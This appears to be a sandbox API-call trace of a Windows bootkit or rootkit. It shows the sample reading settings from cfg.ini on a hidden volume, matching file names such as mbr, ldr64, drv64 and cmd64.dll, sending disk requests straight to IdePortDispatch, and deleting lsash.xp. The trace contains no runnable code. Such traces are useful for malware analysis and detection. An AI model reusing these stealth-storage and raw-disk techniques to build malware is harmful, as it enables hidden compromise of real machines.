[0124.240] KeEnterCriticalRegion () [0124.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] ExFreePoolWithTag (P=0xfffffa8003bf0750, Tag=0x0) [0124.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] KeLeaveCriticalRegion () [0124.240] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.240] ReleaseMutex (hMutex=0xf0) returned 1 [0124.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.240] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.240] KeEnterCriticalRegion () [0124.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.240] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.240] IdePortDispatch () returned 0x103 [0124.240] KeWaitForMutexObject () returned 0x0 [0124.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.241] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.241] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.241] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.241] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.241] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef230 [0124.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.241] KeLeaveCriticalRegion () [0124.241] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.241] KeEnterCriticalRegion () [0124.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.241] KeLeaveCriticalRegion () [0124.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.241] KeEnterCriticalRegion () [0124.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.241] IdePortDispatch () returned 0x103 [0124.241] KeWaitForMutexObject () returned 0x0 [0124.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.241] KeLeaveCriticalRegion () [0124.241] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.241] KeEnterCriticalRegion () [0124.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351d000 [0124.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.242] IdePortDispatch () returned 0x103 [0124.242] KeWaitForMutexObject () returned 0x0 [0124.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.242] IdePortDispatch () returned 0x103 [0124.242] KeWaitForMutexObject () returned 0x0 [0124.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.242] KeLeaveCriticalRegion () [0124.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.243] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.243] KeEnterCriticalRegion () [0124.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] KeLeaveCriticalRegion () [0124.243] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.243] KeEnterCriticalRegion () [0124.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] KeLeaveCriticalRegion () [0124.243] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.243] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.243] KeEnterCriticalRegion () [0124.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] ExFreePoolWithTag (P=0xfffffa8003bef230, Tag=0x0) [0124.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] KeLeaveCriticalRegion () [0124.243] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.243] ReleaseMutex (hMutex=0xf0) returned 1 [0124.243] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.243] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.243] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.243] KeEnterCriticalRegion () [0124.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.243] IdePortDispatch () returned 0x103 [0124.243] KeWaitForMutexObject () returned 0x0 [0124.243] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.243] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.244] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.244] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.244] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.244] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.244] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.244] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.244] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.244] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.244] KeLeaveCriticalRegion () [0124.244] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.244] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.244] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.244] KeEnterCriticalRegion () [0124.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.244] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.244] IdePortDispatch () returned 0x103 [0124.244] KeWaitForMutexObject () returned 0x0 [0124.244] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.244] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.244] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.244] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.244] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.244] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.244] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.244] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.244] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.244] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.245] KeLeaveCriticalRegion () [0124.245] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.245] ReleaseMutex (hMutex=0x100) returned 1 [0124.245] Sleep (dwMilliseconds=0x2bf20) [0124.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d41bfb0, dwHighDateTime=0x1d24fa4)) [0124.251] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.251] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.251] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.251] KeEnterCriticalRegion () [0124.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.251] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.251] IdePortDispatch () returned 0x103 [0124.251] KeWaitForMutexObject () returned 0x0 [0124.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.251] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.251] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.251] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.252] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.252] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0d00 [0124.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.252] KeLeaveCriticalRegion () [0124.252] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.252] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.252] KeEnterCriticalRegion () [0124.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.252] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.252] KeLeaveCriticalRegion () [0124.252] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.252] KeEnterCriticalRegion () [0124.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.252] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.252] IdePortDispatch () returned 0x103 [0124.252] KeWaitForMutexObject () returned 0x0 [0124.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.252] KeLeaveCriticalRegion () [0124.252] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.252] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.252] KeEnterCriticalRegion () [0124.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003520000 [0124.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.252] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.252] IdePortDispatch () returned 0x103 [0124.253] KeWaitForMutexObject () returned 0x0 [0124.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.253] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.253] IdePortDispatch () returned 0x103 [0124.253] KeWaitForMutexObject () returned 0x0 [0124.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.253] KeLeaveCriticalRegion () [0124.253] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.253] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.253] KeEnterCriticalRegion () [0124.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.253] KeLeaveCriticalRegion () [0124.254] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.254] KeEnterCriticalRegion () [0124.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.254] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.254] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.254] KeLeaveCriticalRegion () [0124.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.254] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.254] KeEnterCriticalRegion () [0124.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.254] ExFreePoolWithTag (P=0xfffffa8003bf0d00, Tag=0x0) [0124.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.254] KeLeaveCriticalRegion () [0124.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.254] ReleaseMutex (hMutex=0xf0) returned 1 [0124.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.254] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.254] KeEnterCriticalRegion () [0124.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.254] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.254] IdePortDispatch () returned 0x103 [0124.254] KeWaitForMutexObject () returned 0x0 [0124.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.254] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.254] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.254] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.254] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.254] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf09a0 [0124.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.254] KeLeaveCriticalRegion () [0124.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.254] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.255] KeEnterCriticalRegion () [0124.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.255] KeLeaveCriticalRegion () [0124.255] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.255] KeEnterCriticalRegion () [0124.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.255] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.255] IdePortDispatch () returned 0x103 [0124.255] KeWaitForMutexObject () returned 0x0 [0124.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.255] KeLeaveCriticalRegion () [0124.255] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.255] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.255] KeEnterCriticalRegion () [0124.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003521000 